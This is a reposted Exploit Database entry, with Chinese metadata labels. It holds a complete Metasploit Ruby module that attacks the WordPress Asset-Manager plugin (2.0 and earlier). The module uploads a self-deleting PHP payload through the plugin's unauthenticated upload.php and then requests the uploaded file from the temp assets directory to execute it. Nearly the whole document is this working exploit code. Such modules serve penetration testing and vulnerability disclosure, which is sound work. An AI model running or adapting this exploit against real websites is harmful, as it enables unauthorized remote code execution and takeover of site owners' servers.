WordPress Plugin Asset-Manager – Arbitrary ‘.PHP’ File Upload (Metasploit)

• Exploit Database
• 11 阅读

• 作者： Metasploit
  日期： 2012-12-25
• 类别：

  • remote
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/23652/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  require 'msf/core/exploit/php_exe'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = ExcellentRanking
  
  	include Msf::Exploit::Remote::HttpClient
  	include Msf::Exploit::PhpEXE
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'WordPress Asset-Manager PHP File Upload Vulnerability',
  			'Description'=> %q{
  				This module exploits a vulnerability found in Asset-Manager <= 2.0	WordPress
  				plugin.By abusing the upload.php file, a malicious user can upload a file to a
  				temp directory without authentication, which results in arbitrary code execution.
  			},
  			'Author' =>
  				[
  					'Sammy FORGIT', # initial discovery
  					'James Fitts <fitts.james[at]gmail.com>' # metasploit module
  				],
  			'License'=> MSF_LICENSE,
  			'References' =>
  				[
  					[ 'OSVDB', '82653' ],
  					[ 'BID', '53809' ],
  					[ 'EDB', '18993' ],
  					[ 'URL', 'http://www.opensyscom.fr/Actualites/wordpress-plugins-asset-manager-shell-upload-vulnerability.html' ]
  				],
  			'Payload'	 =>
  				{
  					'BadChars' => "\x00",
  				},
  			'Platform' => 'php',
  			'Arch' => ARCH_PHP,
  			'Targets'=>
  				[
  					[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
  					[ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ]
  				],
  			'DefaultTarget' => 0,
  			'DisclosureDate' => 'May 26 2012'))
  
  		register_options(
  			[
  				OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/wordpress'])
  			], self.class)
  	end
  
  	def exploit
  		uri =target_uri.path
  		uri << '/' if uri[-1,1] != '/'
  		peer = "#{rhost}:#{rport}"
  		payload_name = "#{rand_text_alpha(5)}.php"
  		php_payload = get_write_exec_payload(:unlink_self=>true)
  
  		data = Rex::MIME::Message.new
  		data.add_part(php_payload, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{payload_name}\"")
  		post_data = data.to_s.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
  
  		print_status("#{peer} - Uploading payload #{payload_name}")
  		res = send_request_cgi({
  			'method'=> 'POST',
  			'uri' => "#{uri}wp-content/plugins/asset-manager/upload.php",
  			'ctype' => "multipart/form-data; boundary=#{data.bound}",
  			'data'=> post_data
  		})
  
  		if not res or res.code != 200 or res.body !~ /#{payload_name}/
  			fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Upload failed")
  		end
  
  		print_status("#{peer} - Executing payload #{payload_name}")
  		res = send_request_raw({
  			'uri' => "#{uri}wp-content/uploads/assets/temp/#{payload_name}",
  			'method'=> 'GET'
  		})
  
  		if res and res.code != 200
  			fail_with(Exploit::Failure::UnexpectedReply, "#{peer} - Execution failed")
  		end
  	end
  end